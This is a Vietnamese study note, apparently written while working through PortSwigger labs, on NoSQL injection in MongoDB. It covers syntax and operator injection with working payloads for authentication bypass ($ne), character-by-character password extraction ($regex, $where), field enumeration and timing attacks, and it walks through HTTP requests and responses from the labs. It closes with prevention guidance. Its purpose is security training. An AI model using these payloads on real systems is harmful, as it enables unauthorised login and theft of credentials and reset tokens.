NoSQL database models

Một số loại database NoSQL phổ biến bao gồm:

  • Document Store: lưu trữ dữ liệu ở các định dạng linh hoạt như JSON hoặc XML. Ví dụ: MongoDB, Couchbase.
  • Key-Value Store: lưu trữ dữ liệu dưới dạng cặp key-value để tra cứu nhanh. Ví dụ: Redis, Amazon DynamoDB.
  • Wide-Column Store: tổ chức dữ liệu thành cột thay vì hàng. Ví dụ: Apache Cassandra, Apache HBase.
  • Graph Database: sử dụng node cho dữ liệu và edge cho mối quan hệ. Ví dụ: Neo4j, Amazon Neptune.

What is NoSQL injection?

NoSQL Injection là một lỗ hổng cho phép kẻ tấn công thao túng các truy vấn database NoSQL để:

  • Bypass bảo mật
  • Truy cập hoặc chỉnh sửa dữ liệu
  • Phá hoại hệ thống
  • Thực thi mã độc

Database NoSQL sử dụng các định dạng dữ liệu và ngôn ngữ truy vấn linh hoạt, giúp chúng dễ thích ứng hơn nhưng ít ràng buộc hơn so với database SQL.

Các loại NoSQL Injection:

  • Syntax Injection: Phá vỡ cú pháp truy vấn để chèn payload độc hại, tương tự như SQL Injection nhưng được điều chỉnh cho NoSQL.
  • Operator Injection: Khai thác các toán tử truy vấn NoSQL để thao túng truy vấn.

NoSQL Syntax Injection

Detecting syntax injection in MongoDB

Xét một ứng dụng mua sắm hiển thị sản phẩm dựa trên tham số category:

?category=fizzy

Điều này kích hoạt truy vấn:

this.category == 'fizzy'

Để test lỗ hổng, chèn một chuỗi fuzz như:

'"`{ ;$Foo} $Foo \xYZ

Nếu điều này gây ra thay đổi so với response gốc, có thể cho thấy đầu vào của user không được lọc hoặc làm sạch đúng cách.

Note

Lỗ hổng NoSQL injection phụ thuộc vào ngữ cảnh, vì vậy chuỗi fuzz phải được điều chỉnh để tránh lỗi validation. Ví dụ, khi inject qua URL, chuỗi fuzz nên được URL-encode. Nếu inject thông qua JSON property, payload sẽ trông như:

'\"`{\r;$Foo}\n$Foo \\xYZ\u0000

Determining which characters are processed

Để kiểm tra ký tự nào ảnh hưởng đến cú pháp truy vấn của ứng dụng, chúng ta có thể test bằng cách chèn các ký tự như '. Ví dụ, submit ' có thể dẫn đến truy vấn như:

this.category == '''

Nếu response thay đổi, điều này cho thấy ký tự ' đã phá vỡ cú pháp. Để xác nhận, thử submit một truy vấn hợp lệ bằng cách escape dấu nháy:

this.category == '\''

Nếu điều này hoạt động mà không có lỗi, ứng dụng có thể dễ bị tấn công injection.

Overriding existing conditions

Bây giờ, chúng ta có thể cố gắng override các điều kiện hiện tại để khai thác lỗ hổng. Ví dụ, chúng ta có thể inject một điều kiện JavaScript luôn đánh giá là true, chẳng hạn như '||'1'=='1.

Điều này dẫn đến truy vấn MongoDB sau:

this.category == 'fizzy'||'1'=='1'

Warning

Hãy cẩn thận khi inject các điều kiện luôn đánh giá là true trong truy vấn NoSQL. Mặc dù ban đầu có vẻ vô hại, ứng dụng có thể tái sử dụng dữ liệu trong các truy vấn khác, như update hoặc deletion, có thể gây mất dữ liệu do tai nạn.

MongoDB có thể bỏ qua tất cả các ký tự sau ký tự null. Điều này có nghĩa là bất kỳ điều kiện bổ sung nào trong truy vấn MongoDB đều bị bỏ qua:

this.category == 'fizzy' && this.released == 1

Điều kiện this.released == 1 đảm bảo chỉ hiển thị các sản phẩm đã được phát hành. Kẻ tấn công có thể khai thác điều này với:

?category=fizzy'%00

Điều này dẫn đến:

this.category == 'fizzy'\u0000' && this.released == 1

Do mọi thứ sau ký tự null bị bỏ qua, điều kiện released được bypass.

Lab: Detecting NoSQL Injection

Tìm thấy lỗ hổng NoSQL injection qua request và response sau:

GET /filter?category=' HTTP/2
Host: 0a02008303e7a9e086930c4c0060000c.web-security-academy.net
Cookie: session=uPImxvF20jxqlG8FZ4DXjTPNl4PVCiM0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Referer: https://0a02008303e7a9e086930c4c0060000c.web-security-academy.net/
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2753
 
...
<p class=is-warning>Command failed with error 139 (JSInterpreterFailure): 'SyntaxError: unterminated string literal :
functionExpressionParser@src/mongo/scripting/mozjs/mongohelpers.js:46:25
' on server 127.0.0.1:27017. The full response is {"ok": 0.0, "errmsg": "SyntaxError: unterminated string literal :\nfunctionExpressionParser@src/mongo/scripting/mozjs/mongohelpers.js:46:25\n", "code": 139, "codeName": "JSInterpreterFailure"}</p>

Sử dụng payload sau để giải lab:

' || 1 || '

Truy vấn đầy đủ sẽ là:

this.category == '' || 1 || ''

Trong đó || là toán tử OR nên biểu thức trên luôn true.

NoSQL Operator Injection

Database NoSQL sử dụng các toán tử truy vấn để định nghĩa điều kiện cho kết quả truy vấn. Các toán tử MongoDB phổ biến bao gồm:

  • $where: So khớp document sử dụng biểu thức JavaScript.
  • $ne: So khớp các giá trị không bằng giá trị được chỉ định.
  • $in: So khớp các giá trị trong một mảng cho trước.
  • $regex: So khớp các giá trị sử dụng regular expression.

Submit Query Operator

Trong các message JSON, chúng ta có thể chèn query operator dưới dạng nested object. Ví dụ, {"username":"wiener"} trở thành {"username":{"$ne":"invalid"}}.

Đối với input dựa trên URL, chúng ta có thể chèn query operator thông qua URL parameter. Ví dụ, username=wiener trở thành username[$ne]=invalid. Nếu điều này không hoạt động, chuyển method request từ GET sang POST và di chuyển query parameter vào JSON properties trong request body.

Detecting operator injection in MongoDB

Xét một ứng dụng chấp nhận username và password trong request POST:

{"username":"wiener","password":"peter"}

Test các input với các toán tử khác nhau. Ví dụ, để kiểm tra xem input username có xử lý query operator hay không, thử:

{"username":{"$ne":"invalid"},"password":"peter"}

Nếu toán tử $ne được sử dụng, điều này tìm kiếm user có username không phải “invalid”.

Nếu cả input username và password đều chấp nhận toán tử, chúng ta có thể bypass authentication với:

{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}

Lab: Exploiting NoSQL Operator Injection to Bypass Authentication

NoSQL injection với tài khoản được cung cấp:

POST /login HTTP/2
Host: 0a8100820347836f868620bf00bc00e5.web-security-academy.net
Content-Length: 50
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Origin: https://0a8100820347836f868620bf00bc00e5.web-security-academy.net
Referer: https://0a8100820347836f868620bf00bc00e5.web-security-academy.net/login
 
{"username":"wiener","password":{"$ne":"invalid"}}
HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: session=n30bmsHYBwP4CBTxazUjXdORtOXsvWyQ; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Thử với tài khoản administrator:

POST /login HTTP/2
Host: 0a8100820347836f868620bf00bc00e5.web-security-academy.net
Content-Length: 57
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Origin: https://0a8100820347836f868620bf00bc00e5.web-security-academy.net
Referer: https://0a8100820347836f868620bf00bc00e5.web-security-academy.net/login
 
{"username":"administrator","password":{"$ne":"invalid"}}
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=StRY8xG877iUPCMZMAsug0zt2ckvhw23; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 6448
 
...
<p class=is-warning>Invalid username or password</p>

Thử với {"$in":["admin","administrator","superadmin"]} nhưng không hoạt động.

Có thể username của administrator không phải là thông thường.

Thử brute-force password của user carlos bằng cách sử dụng Intruder để đoán từng ký tự với toán tử $regex:

POST /login HTTP/2
Host: 0a8100820347836f868620bf00bc00e5.web-security-academy.net
Content-Length: 59
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Origin: https://0a8100820347836f868620bf00bc00e5.web-security-academy.net
Referer: https://0a8100820347836f868620bf00bc00e5.web-security-academy.net/login
 
{"username":"carlos","password":{"$regex":"^a.*"}}

Password là kdhq15182ey4pzwze6un.

Áp dụng kỹ thuật tương tự để tìm username của user administrator:

POST /login HTTP/2
Host: 0a8100820347836f868620bf00bc00e5.web-security-academy.net
Content-Length: 59
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Origin: https://0a8100820347836f868620bf00bc00e5.web-security-academy.net
Referer: https://0a8100820347836f868620bf00bc00e5.web-security-academy.net/login
 
{"username":{"$regex":"^a.*"},"password":{"$ne":"invalid"}}

Tìm ra rằng username là adminyssur8ec.

POST /login HTTP/2
Host: 0a8100820347836f868620bf00bc00e5.web-security-academy.net
Content-Length: 57
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Origin: https://0a8100820347836f868620bf00bc00e5.web-security-academy.net
Referer: https://0a8100820347836f868620bf00bc00e5.web-security-academy.net/login
 
{"username":"adminyssur8ec","password":{"$ne":"invalid"}}
HTTP/2 302 Found
Location: /my-account?id=adminyssur8ec
Set-Cookie: session=Jjevl3JEXQkM39bwgOhMQPcOxZPl3Aio; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Paste cookie vào browser và giải lab.

Exploiting syntax injection to extract data

Trong nhiều database NoSQL, một số query operator hoặc function nhất định, như toán tử $where của MongoDB và mapReduce(), có thể chạy JavaScript giới hạn. Nếu ứng dụng dễ bị tấn công sử dụng những thứ này, chúng ta có thể inject JavaScript vào truy vấn để trích xuất dữ liệu.

Exfiltrating data in MongoDB

Ví dụ, trong một ứng dụng dễ bị tấn công cho phép user tra cứu username khác và role của họ, một request đến:

?username=admin

Có thể tạo ra truy vấn này:

{"$where":"this.username == 'admin'"}

Chúng ta có thể inject JavaScript để trích xuất dữ liệu nhạy cảm, chẳng hạn như ký tự đầu tiên của password:

admin' && this.password[0] == 'a' || 'a'=='b

Chúng ta cũng có thể sử dụng function match() để kiểm tra chữ số trong password:

admin' && this.password.match(/\d/) || 'a'=='b

Lab: Exploiting NoSQL Injection to Extract Data

Đăng nhập với wiener:peter và ứng dụng gửi request sau:

GET /user/lookup?user=wiener HTTP/2
Host: 0ade00c103d95b0281f9669f00ec006a.web-security-academy.net
Cookie: session=Ab8CNBQg2nGhJGenSdMB0uuSkNg2KnJb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Referer: https://0ade00c103d95b0281f9669f00ec006a.web-security-academy.net/my-account?id=wiener

Response của nó:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 81
 
{
  "username": "wiener",
  "email": "wiener@normal-user.net",
  "role": "user"
}

Thử payload sau trong tham số user:

wiener' && 1==1 || 'a'=='b

Giải thích:

  • Biểu thức && 1==1 test xem chúng ta có thể thao túng logic boolean của toán tử $where hay không.
  • Vì chúng ta không thể comment out phần còn lại của truy vấn (như thường làm trong SQL Injection), chúng ta bao gồm biểu thức OR (|| 'a'=='b) để đảm bảo truy vấn có thể hoàn thành mà không có lỗi.

Response:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 81
 
{
  "username": "wiener",
  "email": "wiener@normal-user.net",
  "role": "user"
}

Thay đổi thành payload luôn false:

wiener' && 1==0 || 'a'=='b

Response:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 38
 
{
  "message": "Could not find user"
}

Bây giờ, sử dụng payload sau để trích xuất password của administrator từng ký tự:

administrator' && this.password[0] == 'a' || 'a'=='b 

Chúng ta sẽ sử dụng Intruder để test mọi ký tự có thể bằng cách tăng index của password. Cụ thể, chúng ta sẽ sử dụng loại tấn công Cluster Bomb, trong đó:

  • Vị trí payload đầu tiên tương ứng với index của password.
  • Vị trí payload thứ hai tương ứng với ký tự được test (ví dụ: ‘a’ trong ví dụ trên).

Danh sách payload cho vị trí đầu tiên nên chứa các số từ 0 đến 20, đại diện cho các index có thể của password. Danh sách payload cho vị trí thứ hai nên bao gồm tất cả các ký tự alphanumeric để test.

Kết quả:

Password là: hwmhpqae.

Identifying field names

Vì MongoDB sử dụng dữ liệu bán cấu trúc, chúng ta có thể cần tìm các field hợp lệ trước khi trích xuất dữ liệu với JavaScript injection.

Ví dụ, để kiểm tra xem database có field password hay không, chúng ta có thể gửi payload này: admin' && this.password != '. Nếu field password tồn tại, response sẽ giống như đối với field hiện có như username.

Exploiting NoSQL operator injection to extract data

Injecting operators in MongoDB

Xét một ứng dụng dễ bị tấn công chấp nhận username và password trong request POST:

{"username":"wiener","password":"peter"}

Để test operator injection, thêm toán tử $where và gửi hai request: một trong đó điều kiện là false và một trong đó là true. Ví dụ:

{"username":"wiener","password":"peter", "$where":"0"}
{"username":"wiener","password":"peter", "$where":"1"}

Nếu các response khác nhau, điều này cho thấy injection đang hoạt động.

Extracting field names

Nếu chúng ta đã inject một toán tử cho phép chạy JavaScript, chúng ta có thể sử dụng method keys() để trích xuất tên field dữ liệu. Ví dụ, chúng ta có thể sử dụng payload này:

"$where":"Object.keys(this)[0].match('^.{0}a.*')"

Lab: Exploiting NoSQL Operator Injection to Extract Unknown Fields

Nếu chúng ta sử dụng toán tử $ne:

POST /login HTTP/2
Host: 0a05006e04e1678b84dd745e009d000f.web-security-academy.net
Cookie: session=wH6uDbhL63uMZVIwuNZCaFpLnFo7QEST
Content-Length: 43
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Origin: https://0a05006e04e1678b84dd745e009d000f.web-security-academy.net
Referer: https://0a05006e04e1678b84dd745e009d000f.web-security-academy.net/login
 
{"username":"carlos","password":{"$ne":""}}

Ứng dụng sẽ trả về cảnh báo này:

<p class=is-warning>Account locked: please reset your password</p>

Toán tử $regex không hoạt động trong trường hợp này.

Thông thường, nếu password không hợp lệ, cảnh báo sẽ là:

<p class=is-warning>Invalid username or password</p>

Chúng ta có thể tận dụng hành vi này của toán tử $where để trích xuất các field ẩn qua payload sau.

"$where":"Object.keys(this)[0].match('^.{0}a.*')"

Nếu response có cảnh báo “Account locked: please reset your password”, chúng ta biết rằng ký tự đó đúng.

Ban đầu, tôi không thể xác định bất kỳ ký tự alphanumeric nào là ký tự đầu tiên của field đầu tiên. Sau đó, tôi nhận ra rằng ký tự đầu tiên có thể là ký tự đặc biệt thay thế.

Để test điều này, sử dụng payload sau:

{"username":"carlos","password":{"$ne":""}, "$where":"Object.keys(this)[0][0]=='a'"}

Mặc dù cú pháp khác với payload đầu tiên, cả hai đều phục vụ cùng một mục đích. Payload này được thiết kế để brute-force với Burp Suite Intruder:

  • Vị trí payload đầu tiên là index của key được test.
  • Vị trí payload thứ hai là ký tự để test tại index đó.

Ngoài ra, tôi khám phá rằng có 5 key qua payload sau:

{"username":"carlos","password":{"$ne":""}, "$where":"Object.keys(this).length == 5"}

Ngoài username, password_id, các field ẩn là emailresetToken.

Hóa ra tài khoản carlos bị khóa theo mặc định.

Trích xuất password, email và reset token sử dụng payload sau:

{"username":"carlos","password":{"$ne":""}, "$where":"this.<field>[0]=='a'"}

Kết quả:

  • Password: 2gl61bgxnhbdoznz55r5
  • Email: carlos@carlos-montoya.net
  • Reset token: d631e4ebc074122d

Hint

Reset token là một query param của endpoint GET /forgot-password.

Gửi request đến /forgot-password với resetToken là key và d631e4ebc074122d:

GET /forgot-password?resetToken=d631e4ebc074122d HTTP/2
Host: 0ab30015044c3c9381d3b1d4003600da.web-security-academy.net
Cookie: session=5kGujS2djOKRt7NaIxQOCrbUV5YMdjuH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36

Và ứng dụng hiển thị form reset password. Đổi password thành bất cứ thứ gì và đăng nhập lại để giải lab.

Exfiltrating data using operators

Ngoài ra, chúng ta có thể trích xuất dữ liệu sử dụng các operator không cho phép chạy JavaScript. Ví dụ, chúng ta có thể sử dụng toán tử $regex để trích xuất dữ liệu từng ký tự.

Chúng ta có thể bắt đầu bằng cách test xem toán tử $regex có được xử lý hay không như sau:

{"username":"admin","password":{"$regex":"^.*"}}

Timing Based Injection

Nếu lỗi database không thay đổi response của ứng dụng, chúng ta có thể sử dụng JavaScript injection để tạo time delay và phát hiện lỗ hổng.

Để thực hiện timing-based NoSQL injection:

  1. Load trang nhiều lần để kiểm tra thời gian loading bình thường.
  2. Inject payload như {"$where": "sleep(5000)"} để gây delay 5000 ms nếu injection hoạt động.
  3. Nếu trang load chậm hơn, có nghĩa là injection thành công.

Đây là hai payload ví dụ:

  1. Payload này gây delay nếu password bắt đầu bằng “a”:

    admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'
  2. Payload này cũng kích hoạt delay nếu password bắt đầu bằng “a”:

    admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'

Preventing NoSQL injection

Để ngăn ngừa tấn công NoSQL injection, tuân theo các hướng dẫn sau:

  1. Sanitize và validate input của user, chỉ cho phép các ký tự được chấp nhận.
  2. Sử dụng parameterized query thay vì chèn trực tiếp input của user vào truy vấn.
  3. Ngăn ngừa operator injection bằng cách sử dụng allowlist các key được chấp nhận.

Ngoài ra, kiểm tra tài liệu bảo mật cho database NoSQL cụ thể của bạn.

list
from outgoing([[Port Swigger - NoSQL Injection]])
sort file.ctime asc

Resources